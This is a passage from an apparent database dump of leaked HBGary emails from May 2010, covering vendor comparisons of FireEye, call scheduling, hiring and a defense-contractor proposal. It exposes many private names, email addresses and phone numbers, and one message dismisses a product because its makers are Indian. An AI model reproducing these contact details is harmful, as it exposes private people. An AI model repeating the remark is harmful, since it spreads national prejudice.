5:14 PM, Penny Leavy-Hoglund wrote:\r\n>>> \r\n>>>> Yes I am familiar with them as is Greg.  It\'s an appliance that does some\r\n>>>> level of packet inspection based upon the SNORT signatures and IDS engine.\r\n>>>> It does not deep dive nor does it do it at line speed.  Really no\r\n>>> different\r\n>>>> than a botnet detector which it was originally.  I think the neatest thing\r\n>>>> about them is the sharing aspect.  They\'ve been around a LONG time trying\r\n>>> to\r\n>>>> sell this technology.  I know investors over at Sequoia pretty well.  It\'s\r\n>>> a\r\n>>>> very crowded market they are in against Damballa and Fidelus and a long\r\n>>> list\r\n>>>> of others.  They are getting some traction which is good, the investors\r\n>>>> replaced the whole management team so I think its\' more focused.     \r\n>>>> -----Original Message-----\r\n>>>> From: John Edwards [mailto:John.Edwards@agilex.com] \r\n>>>> Sent: Wednesday, May 26, 2010 11:59 AM\r\n>>>> To: Greg Hoglund; Penny Leavy\r\n>>>> Subject: Ever Heard of Fire Eye?\r\n>>>> \r\n>>>> Here is there website -- http://www.fireeye.com/ \r\n>>>> \r\n>>>> Have you heard of these guys?  If so, what do you think?\r\n>>>> If not, take a look and let me know.\r\n>>>> John\r\n>>>> \r\n>>>> \r\n>>> \r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',10890,'aaron_hbgary_com/10890.html'),(6815,'2010-05-28','\"Sandoval Jr, Jose (TASC)\" <jose.sandoval@TASC.COM>','/aaron@hbgary.com/new/1297004915.M564856P14101Q1671.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: TMC','Re: TMC\r\n\r\n\r\n\r\n\r\nTed/Aaron,\r\n&nbsp;\r\nAre you all hiring?&nbsp; I am&nbsp;ready for a change.&nbsp; I will&nbsp;be more than happy to send you my resume this evening.&nbsp; I thought I had it here in my office.\r\n&nbsp;\r\nJose Sandoval\r\n&nbsp;\r\n&nbsp;',3312,'aaron_hbgary_com/3312.html'),(6816,'2010-05-28','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004915.M780988P14101Q1672.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Ever Heard of Fire Eye?','No but funny how they use all our terms.  They are Indian, good luck at\r\nselling it anywhere in Europe or US.  Not a lot of trust for Indian apps.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, May 28, 2010 9:04 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Ever Heard of Fire Eye?\r\n\r\nHave u heard of this product?\r\n\r\nhttp://helios.miel-labs.com/downloads/whitepaper.pdf\r\n\r\nAaron\r\n\r\nOn May 28, 2010, at 11:39 AM, Penny Leavy-Hoglund wrote:\r\n\r\n> John, all it does it Botnet detection.  It doesn\'t\' do embedded flash,\r\nPDF,\r\n> mail etc.  It\'s a network layer device.  Do you have a customer that is\r\n> interested in this?  Aaron Barr, who is out there, can tell you the\r\n> differences.  He can go on site with you and detail what is does and\r\ndoesn\'t\r\n> do.  I don\'t\' have a box of theirs\' and I know their marketing lit makes\r\nit\r\n> seem like they do it all.  Any application level stuff, you are on your\r\nown\r\n> with them.\r\n> \r\n> -----Original Message-----\r\n> From: John Edwards [mailto:John.Edwards@agilex.com] \r\n> Sent: Friday, May 28, 2010 8:24 AM\r\n> To: Penny Leavy-Hoglund\r\n> Cc: Greg Hoglund\r\n> Subject: Re: Ever Heard of Fire Eye?\r\n> \r\n> Do you guys have, or could you send me a  tradeoff matrix re what this\r\ndoes\r\n> well and what it does not so well?\r\n> More importantly, how Responder and Digital DNA fills the holes.\r\n> This would be very helpful.\r\n> \r\n> BTW, how is the work at ICE going?  Out customers keep asking for an\r\n> enterprise-level qual.\r\n> \r\n> Have a great weekend,\r\n> John\r\n> \r\n> \r\n> On May 27, 2010, at 5:14 PM, Penny Leavy-Hoglund wrote:\r\n> \r\n>> Yes I am familiar with them as is Greg.  It\'s an appliance that does some\r\n>> level of packet inspection based upon the SNORT signatures and IDS\r\nengine.\r\n>> It does not deep dive nor does it do it at line speed.  Really no\r\n> different\r\n>> than a botnet detector which it was originally.  I think the neatest\r\nthing\r\n>> about them is the sharing aspect.  They\'ve been around a LONG time trying\r\n> to\r\n>> sell this technology.  I know investors over at Sequoia pretty well.\r\nIt\'s\r\n> a\r\n>> very crowded market they are in against Damballa and Fidelus and a long\r\n> list\r\n>> of others.  They are getting some traction which is good, the investors\r\n>> replaced the whole management team so I think its\' more focused.     \r\n>> -----Original Message-----\r\n>> From: John Edwards [mailto:John.Edwards@agilex.com] \r\n>> Sent: Wednesday, May 26, 2010 11:59 AM\r\n>> To: Greg Hoglund; Penny Leavy\r\n>> Subject: Ever Heard of Fire Eye?\r\n>> \r\n>> Here is there website -- http://www.fireeye.com/ \r\n>> \r\n>> Have you heard of these guys?  If so, what do you think?\r\n>> If not, take a look and let me know.\r\n>> John\r\n>> \r\n>> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',7505,'aaron_hbgary_com/7505.html'),(6817,'2010-05-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004915.M83158P14101Q1669.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fireeye new Site','Nothing but fluff.  This stuff is really irritating.\r\n\r\nhttp://www.modernmalwareexposed.org/\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',190,'aaron_hbgary_com/190.html'),(6818,'2010-05-28','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004915.M993069P14101Q1673.eml','\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,economou@akamai.com','Akamai Technologies Capabilities Meeting','\r\n\r\n\r\n\r\n\r\nAkamai Technologies Capabilities Meeting \r\n\r\n\r\n\r\n\r\nWhen: Tuesday, June 01, 2010 10:00 AM-11:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF3, 3B\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nAkamai Technologies&nbsp; - George Economou&nbsp; is visiting us to talk about what they can provide for COIN.\r\n\r\nLet me know if you have any questions.\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n\r\n',12337,'aaron_hbgary_com/12337.html'),(6819,'2010-05-28','\"Traci Wei\" <twei@capsllc.net>','/aaron@hbgary.com/new/1297004916.M217981P14101Q1674.eml','first-2010announce@first.org','22nd Annual FIRST Conference Kicks Off with Keynote DUS Philip R. Reitinger','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n22nd Annual FIRST Conference\r\n\r\nPast the Faded Perimeter: Threat &amp; Incident Response\r\n\r\nInterContinental Miami | June 13-18, 2010\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\nDear Colleague,\r\n\r\n&nbsp;\r\n\r\nOn Monday, June 14th at 0900, FIRST.Org welcomes\r\nU.S. Department of Homeland Security&#8217;s Philip R. Reitinger, Deputy Under\r\nSecretary for the National Protection and Program Directorate and Director of\r\nthe National Cybersecurity Center.\r\n\r\n&nbsp;\r\n\r\n&#8220;Cybersecurity Collaboration: Partnering Across the\r\nCyber Ecosystem&#8221; &#8211; Abstract:\r\n\r\n&nbsp;\r\n\r\nCybersecurity has evolved from an intimate circle of\r\nsimple web hackers into one of our nations\' most important and formidable\r\nnational security issues. As we increasingly build network capabilities into\r\neverything we do, we are also increasing our exposure to adversaries wanting to\r\ndo significant harm to our national and shared global infrastructure. This\r\nmeans that sharing information and collaboration among nations plays a crucial\r\nrole in developing effective and coordinated responses to incidences. But as\r\nmuch as we focus in our specific mission spaces, we also recognize that cybersecurity\r\nisn\'t just a government problem; it\'s also a business concern. Therefore, we\r\nneed to leverage cyber and information technology expertise across the\r\ncybersecurity spectrum, to include industry, academia, other government\r\nagencies, as well as national Cyber Emergency Response Teams, in order to\r\ncreate shared situational awareness, and thus a common operational picture.\r\nThreats to cybersecurity do not discriminate between borders, and nor should\r\nour unified response. It\'s only through partnership and collaboration that can\r\nbegin to gain the upper hand in the cybersecurity fight.\r\n\r\n&nbsp;\r\n\r\nCheck out the full conference lineup at the conference\r\nwebsite http://conference.first.org. \r\n\r\n&nbsp;\r\n\r\nDid you hear our podcast interview with DUS Reitinger?&nbsp;\r\nCheck it out at http://conference.first.org/podcasts.aspx.\r\n\r\n\r\n&nbsp;\r\n\r\nDon&#8217;t Forget to Register!\r\n\r\n&nbsp;June is literally around the corner&#8230;don&#8217;t\r\nforget to get your registrations in!&nbsp; Head over to http://conference.first.org to Register\r\nToday!&nbsp; Standard registration rates will expire June 4th\r\n&#8211; $1800 US for member and $2200 US for non-members. \r\n\r\n&nbsp;\r\n\r\nBook Your Lodging! Discounted Rate Expires June 1st!\r\n\r\nWe are fast approaching the deadline to book your lodging at\r\nthe conference hotel.&nbsp; A block of rooms at the InterContinental Miami is\r\nbeing held for conference attendees at a discount rate of US $189.00 depending\r\non room type and dates of arrival and departure.&nbsp; Rates will be honored\r\nthree days before and three days after the official meeting dates, based on\r\navailability.&nbsp; Visit http://conference.first.org\r\nand click on the Hotel Booking button for our reservations link.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIf you have additional questions or concerns, please\r\ndon&#8217;t hesitate to contact us at first-2010@first.org.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nFollow our conference updates on Twitter @firstdotorg (http://www.twitter.com/firstdotorg).\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKind regards,\r\n\r\nTraci\r\n\r\n&nbsp;\r\n\r\nTraci Wei\r\n\r\nConference &amp; Marketing Coordinator\r\n\r\n..............................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6784\r\n\r\np. 312.372.1255 ext. 107\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14041,'aaron_hbgary_com/14041.html'),(6820,'2010-05-28','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297004916.M439726P14101Q1675.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Call: Ira & Aaron re: LANL','how about 3pm my time (~ 30 minutes)?\r\n\r\n\r\n\r\nOn May 28, 2010, at 11:36 AM, Aaron Barr wrote:\r\n\r\nok I am pretty open the rest of the day.  If you want to give me a time to call you I can get Ted on the line as well.\r\n\r\nAaron\r\n\r\nOn May 28, 2010, at 9:33 AM, Ira Entis wrote:\r\n\r\n> What does your day look like?  I can try to call you. \r\n> \r\n> \r\n> \r\n> On May 27, 2010, at 7:46 PM, \"Aaron Barr\"  wrote:\r\n> \r\n>> Ira,\r\n>> \r\n>> I apologize for missing our call today.  Do you have any time tomorrow?\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On May 26, 2010, at 10:25 AM, Ira Entis wrote:\r\n>> \r\n>>> When: Thursday, May 27, 2010 3:00 PM-3:30 PM. Eastern Standard Time\r\n>>> Where: Aaron to call Ira @ 703.957.0001\r\n>>> \r\n>>> *~*~*~*~*~*~*~*~*~*\r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',9912,'aaron_hbgary_com/9912.html'),(6821,'2010-05-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004916.M638596P14101Q1676.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Call: Ira & Aaron re: LANL','Sent from my iPadBegin forwarded message:From: Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\nDate: May 28, 2010 2:33:20 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Call: Ira &amp; Aaron re: LANL\r\nhow about 3pm my time (~ 30 minutes)?On May 28, 2010, at 11:36 AM, Aaron Barr wrote:\r\nok I am pretty open the rest of the day.  If you want to give me a time to call you I can get Ted on the line as well.AaronOn May 28, 2010, at 9:33 AM, Ira Entis wrote:\r\nWhat does your day look like?  I can try to call you. \r\nOn May 27, 2010, at 7:46 PM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt; wrote:\r\nIra,\r\nI apologize for missing our call today.  Do you have any time tomorrow?\r\nAaron\r\nOn May 26, 2010, at 10:25 AM, Ira Entis wrote:\r\nWhen: Thursday, May 27, 2010 3:00 PM-3:30 PM. Eastern Standard Time\r\nWhere: Aaron to call Ira @ 703.957.0001\r\n*~*~*~*~*~*~*~*~*~*\r\n&lt;Mail Attachment.ics&gt;\r\nAaron BarrCEO\r\nHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n',4523,'aaron_hbgary_com/4523.html'),(6822,'2010-05-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004916.M833638P14101Q1677.eml','\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Call: Ira & Aaron re: LANL','Call u at 3\r\n\r\nSent from my iPad\r\n\r\nOn May 28, 2010, at 2:33 PM, Ira Entis  wrote:\r\n\r\n> how about 3pm my time (~ 30 minutes)?\r\n>\r\n>\r\n>\r\n> On May 28, 2010, at 11:36 AM, Aaron Barr wrote:\r\n>\r\n> ok I am pretty open the rest of the day.  If you want to give me a time to call you I can get Ted on the line as well.\r\n>\r\n> Aaron\r\n>\r\n> On May 28, 2010, at 9:33 AM, Ira Entis wrote:\r\n>\r\n>> What does your day look like?  I can try to call you.\r\n>>\r\n>>\r\n>>\r\n>> On May 27, 2010, at 7:46 PM, \"Aaron Barr\"  wrote:\r\n>>\r\n>>> Ira,\r\n>>>\r\n>>> I apologize for missing our call today.  Do you have any time tomorrow?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> On May 26, 2010, at 10:25 AM, Ira Entis wrote:\r\n>>>\r\n>>>> When: Thursday, May 27, 2010 3:00 PM-3:30 PM. Eastern Standard Time\r\n>>>> Where: Aaron to call Ira @ 703.957.0001\r\n>>>>\r\n>>>> *~*~*~*~*~*~*~*~*~*\r\n>>>> \r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n',16179,'aaron_hbgary_com/16179.html'),(6823,'2010-05-28','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004917.M277252P14101Q1679.eml','all@hbgary.com,all@hbgary.com,','New Hires','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFor those of you who weren&#8217;t at CEIC, we have a new\r\nDirector of Security Services, Mike Spohn.&nbsp; Mike joined us from\r\nFoundstone, where he led their incident response services.&nbsp; Mike has done\r\nover 100 investigations over the last two years and has a lot of knowledge in\r\nthis area.&nbsp; Mike was INVALUABLE at the show, helping us secure new\r\nservices and positioning product with clients.&nbsp;&nbsp; Mike can be reached\r\nat ext 123 (once he receives and sets up his phone ) or at 949-370-7769.&nbsp;\r\nEmail is mike@hbgary.com\r\n\r\n&nbsp;\r\n\r\nWe will also have a new sales rep joining our company Rocco\r\nFasciani on June 7th.&nbsp; Rocco is out of New Jersey and has\r\nworked with Joe Pizzo and Rich Cummings previously at Guidance.&nbsp; Rocco is\r\na senior sales professional who has been at lots of security companies such as\r\nRSA.&nbsp; He will focus on the NorthEast and Ohio regions this year.&nbsp;\r\nThis will help to off load Bob and Maria and allow us to bring in more revenue.\r\n\r\n&nbsp;\r\n\r\nWe will continue to hire people in sales, security services\r\nand development.&nbsp; Both these individuals raise the bar and bring\r\nexperience in new areas.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWelcome aboard.\r\n\r\n&nbsp;\r\n\r\nPenny\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this message\r\nin error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11765,'aaron_hbgary_com/11765.html'),(6824,'2010-05-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004917.M42351P14101Q1678.eml','Douglas.Chabot@QinetiQ-NA.com,\"Aaron Barr\" <aaron@hbgary.com>','Introducing QinetiQ and HBGary Federal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDoug and Aaron,\r\n\r\n&nbsp;\r\n\r\nThought it would make sense for the two of you to speak as\r\nit relates to doing classified cyber security work.\r\n\r\n&nbsp;\r\n\r\nDoug:&nbsp; (805) 377-7355\r\n\r\nAaron:&nbsp;&nbsp; 719-510-8478\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',215,'aaron_hbgary_com/215.html'),(6825,'2010-05-28','\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>','/aaron@hbgary.com/new/1297004917.M506787P14101Q1680.eml','\"Short, Nadia D.\" <Nadia.Short@gd-ais.com>,\"Mack, Cynthia M.\" <Cynthia.Mack@gd-ais.com>,\"Rawls, Rodger C.\" <Rodger.Rawls@gd-ais.com>,\"Burns, Destiny R.\" <Destiny.Burns@gd-ais.com>,\"McDonald, Rich L.\" <Rich.McDonald@gd-ais.com>,\"Jaeger, James A.\" <jim.jaeger@gd-ais.com>,\"Prouty, Charlie S\" <Charlie.Prouty@GDIT.com>,\"Saxty, Lori J.\" <Lori.Saxty@gd-ais.com>,\"Metzler, Jay\" <Jmetzler@sms.com>,\"Bill Lillard\" <blillard@emesec.net>,\"Walter, Troy\" <Troy.Walter@gdit.com>,\"Mackert, Todd D.\" <Todd.Mackert@gd-ais.com>,\"Castrejon, Tomas M.\" <Tomas.Castrejon@gd-ais.com>,\"Autry, Errin L.\" <Errin.Autry@gd-ais.com>,\"Arismendi, Charles B.\" <Charles.Arismendi@gd-ais.com>,\"Anderson, Melvin\" <Melvin.Anderson@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Berthiaume, Richard A.\" <richard.berthiaume@gd-ais.com>,\"Cornell, Billie J.\" <Billie.Cornell@gd-ais.com>,\"Barrett, Rob J.\" <Rob.Barrett@gd-ais.com>,\"Burton, Roger C.\" <Roger.Burton@gd-ais.com>,\"Carron, Brian E.\" <Brian.Carron@gd-ais.com>,\"Brooks, Holly\" <Holly.Brooks@gd-ais.com>,\"Mondloch, Carrie H.\" <carrie.mondloch@gd-ais.com>,\"Joseph, Carol M.\" <Carol.Joseph@gd-ais.com>,\"Carolina, Shelby D.\" <shelby.carolina@gd-ais.com>,\"Carter, Richard (NE)\" <Richard.Carter@gd-ais.com>,\"Maria Horton\" <mchorton@emesec.net>,\"Jacks, Christopher\" <Christopher.Jacks@gdit.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Hickey, David T.\" <David.Hickey@gd-ais.com>,\"Duck, Kenneth I.\" <ken.duck@gd-ais.com>,\"Domingue, Duane D.\" <duane.domingue@gd-ais.com>,\"Jackson, Eric D.\" <eric.jackson@gd-ais.com>,\"Nieves, Efrain\" <Efrain.Nieves@gd-ais.com>,\"Lhotka, Erven R.\" <erven.lhotka@gd-ais.com>,\"Egloff, Susan C.\" <Susan.Egloff@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hilliard, Jennifer M.\" <Jennifer.Hilliard@gd-ais.com>,\"Hickey, David T.\" <David.Hickey@gd-ais.com>,\"Hart, Kelly J.\" <Kelly.Hart@gd-ais.com>,\"Hill, Pamela E.\" <Pamela.Hill@gd-ais.com>,\"Varga, Joan A.\" <Joan.Varga@gd-ais.com>,\"John Reed Stark\" <JStark@StrozFriedberg.com>,\"Michael, Jim A.\" <Jim.Michael@gd-ais.com>,\"Petrauskas, Karen J.\" <karen.petrauskas@gd-ais.com>,\"Satterfield, Linda S.\" <linda.satterfield@gd-ais.com>,\"Luna, Roby\" <rluna@sms.com>,\"Mackert, Todd D.\" <Todd.Mackert@gd-ais.com>,\"McLaine, Kate L.\" <Kate.McLaine@gd-ais.com>,\"White-Taber, Marjorie J.\" <marjorie.taber@gd-ais.com>,\"Green, Rosemary\" <rosemary.green@gd-ais.com>,\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>,\"Tilden, Michael J.\" <michael.tilden@gd-ais.com>,\"Newman, Christopher J.\" <Christopher.Newman@gd-ais.com>,\"Raja, Razwan N.\" <Razwan.Raja@gd-ais.com>,\"Walter, Troy\" <Troy.Walter@gdit.com>,\"Kyburz, William (EXT) (GDIT)\" <William.Kyburz@gdit.com>','FBI ESOC - Thank You','\r\n\r\n\r\n\r\n\r\nFBI ESOC - Thank You\r\n\r\n\r\n\r\n\r\nJust a note out to all of you that the FBI ESOC proposal has been sent to the customer via e-mail and FedEx. \r\n\r\n\r\n\r\nThanks to all of you who spent so much time and effort helping us put together a solid document in order to win the FBI ESOC work. Many long hours were put in by so many and others were quick to assist in so many ways, it was truly appreciated! \r\n\r\nIf I&#8217;ve missed anyone on this e-mail please help me by passing it along, there were just so many to remember. \r\n\r\nI look forward to a WIN and our continued work together in the future. \r\n\r\nThanks again for all your support, have a great weekend! \r\n\r\nMichelle\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n',13227,'aaron_hbgary_com/13227.html'),(6826,'2010-05-28','\"Rawls, Rodger C.\" <Rodger.Rawls@gd-ais.com>','/aaron@hbgary.com/new/1297004917.M735135P14101Q1681.eml','\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>,\"Short, Nadia D.\" <Nadia.Short@gd-ais.com>,\"Mack, Cynthia M.\" <Cynthia.Mack@gd-ais.com>,\"Burns, Destiny R.\" <Destiny.Burns@gd-ais.com>,\"McDonald, Rich L.\" <Rich.McDonald@gd-ais.com>,\"Jaeger, James A.\" <jim.jaeger@gd-ais.com>,\"Charlie.Prouty@GDIT.com\" <Charlie.Prouty@GDIT.com>,\"Saxty, Lori J.\" <Lori.Saxty@gd-ais.com>,\"Jmetzler@sms.com\" <Jmetzler@sms.com>,\"blillard@emesec.net\" <blillard@emesec.net>,\"Troy.Walter@gdit.com\" <Troy.Walter@gdit.com>,\"Mackert, Todd D.\" <Todd.Mackert@gd-ais.com>,\"Castrejon, Tomas M.\" <Tomas.Castrejon@gd-ais.com>,\"Autry, Errin L.\" <Errin.Autry@gd-ais.com>,\"Arismendi, Charles B.\" <Charles.Arismendi@gd-ais.com>,\"Anderson, Melvin\" <Melvin.Anderson@gd-ais.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Berthiaume, Richard A.\" <richard.berthiaume@gd-ais.com>,\"Cornell, Billie J.\" <Billie.Cornell@gd-ais.com>,\"Barrett, Rob J.\" <Rob.Barrett@gd-ais.com>,\"Burton, Roger C.\" <Roger.Burton@gd-ais.com>,\"Carron, Brian E.\" <Brian.Carron@gd-ais.com>,\"Brooks, Holly\" <Holly.Brooks@gd-ais.com>,\"Mondloch, Carrie H.\" <carrie.mondloch@gd-ais.com>,\"Joseph, Carol M.\" <Carol.Joseph@gd-ais.com>,\"Carolina, Shelby D.\" <shelby.carolina@gd-ais.com>,\"Carter, Richard (NE)\" <Richard.Carter@gd-ais.com>,\"mchorton@emesec.net\" <mchorton@emesec.net>,\"Christopher.Jacks@gdit.com\" <Christopher.Jacks@gdit.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Hickey, David T.\" <David.Hickey@gd-ais.com>','Re: FBI ESOC - Thank You','\r\n\r\n\r\n\r\n\r\nFBI ESOC - Thank You\r\n\r\n\r\nThanks to everyone and especially you, Michelle, for leading the capture team on another important opportunity. Rodger. \r\n\r\n\r\nFrom: Lemke, Michelle R.To: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny R.; McDonald, Rich L.; Jaeger, James A.; Prouty, Charlie S &lt;Charlie.Prouty@GDIT.com&gt;; Saxty, Lori J.; Metzler, Jay &lt;Jmetzler@sms.com&gt;; Bill Lillard &lt;blillard@emesec.net&gt;; Walter, Troy &lt;Troy.Walter@gdit.com&gt;; Mackert, Todd D.; Castrejon, Tomas M.; Autry, Errin L.; Arismendi, Charles B.; Anderson, Melvin; Aaron Barr &lt;aaron@hbgary.com&gt;; Brunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Barrett, Rob J.; Burton, Roger C.; Carron, Brian E.; Brooks, Holly; Mondloch, Carrie H.; Joseph, Carol M.; Carolina, Shelby D.; Carter, Richard (NE); Maria Horton &lt;mchorton@emesec.net&gt;; Jacks, Christopher &lt;Christopher.Jacks@gdit.com&gt;; Harlow, Douglas M.; Hickey, David T.; Duck, Kenneth I.; Domingue, Duane D.; Jackson, Eric D.; Nieves, Efrain; Lhotka, Erven R.; Egloff, Susan C.; Hoagland, Kimberly A.; Hilliard, Jennifer M.; Hickey, David T.; Hart, Kelly J.; Hill, Pamela E.; Varga, Joan A.; John Reed Stark &lt;JStark@StrozFriedberg.com&gt;; Michael, Jim A.; Petrauskas, Karen J.; Satterfield, Linda S.; Luna, Roby &lt;rluna@sms.com&gt;; Mackert, Todd D.; McLaine, Kate L.; White-Taber, Marjorie J.; Green, Rosemary; Stern, Matthew A.; Tilden, Michael J.; Newman, Christopher J.; Raja, 